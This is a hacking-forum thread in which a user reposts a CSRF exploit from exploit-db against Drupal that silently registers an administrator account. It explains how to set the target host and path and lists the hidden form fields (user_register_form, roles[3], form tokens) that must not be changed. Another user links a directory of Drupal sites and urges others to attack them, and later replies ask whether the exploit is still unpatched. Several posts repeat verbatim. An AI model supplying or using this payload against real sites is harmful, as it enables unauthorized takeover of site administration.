[1llusion]

Hello!

I've came across this on exploit-db. All credits go to: Ivano Binetti (http://ivanobinetti.com)
Link to exploit: http://www.exploit-db.com/exploits/18564/

Its pretty much explained there.
For better understanding I've split the link here:

Code:

<drupal_ip> = This doesn't have to be necessarily the IP. It can be domain. :80 = not really needed as port 80 is default. You may want to change it if different port is used. /drupal/ = Directory where drupal is installed. You may want to change or delete it admin/ = Directory where admin CP is installed. Many websites will have it as default.

The rest should be clear.

IMPORTANT! DON'T CHANGE THESE:

Code:

<input type="hidden" name="status" value="1"/> <input type="hidden" name="roles[3]" value="3"/> <input type="hidden" name="form_build_id" value="form-oUkbOYDjyZag-LhYFHvlPXM1rJzOHCjlHojoh_hS3pY"/> <input type="hidden" name="form_token" value="cU7nmlpWu-a4UKGFDBcVjEutgvoEidfK1Zgw0HFAtXc"/> <input type="hidden" name="form_id" value="user_register_form"/> <input type="hidden" name="op" value="Create new account"/>

[W0rM]

Go ahead...
Find some sites here

Code:

http://www.drupalsites.net/

and moke:
:p

[d3v0id]

Does it work still or fixed ?

[d3v0id]

Does it work still or fixed ?

[d3v0id]

Does it work still or fixed ?

[1llusion]

Does it work still or fixed ?

It will work for the mentioned version. Newer versions are most likely patched.

[1llusion]

Does it work still or fixed ?

It will work for the mentioned version. Newer versions are most likely patched.

[1llusion]

Does it work still or fixed ?

It will work for the mentioned version. Newer versions are most likely patched.

[Sherazkhan98]

how to use it.....em new on this forum

[1llusion]

how to use it.....em new on this forum

Look into CSRF. I've made a little tut on my blog: http://blog.1llusion.info/2013/01/trolli...quest.html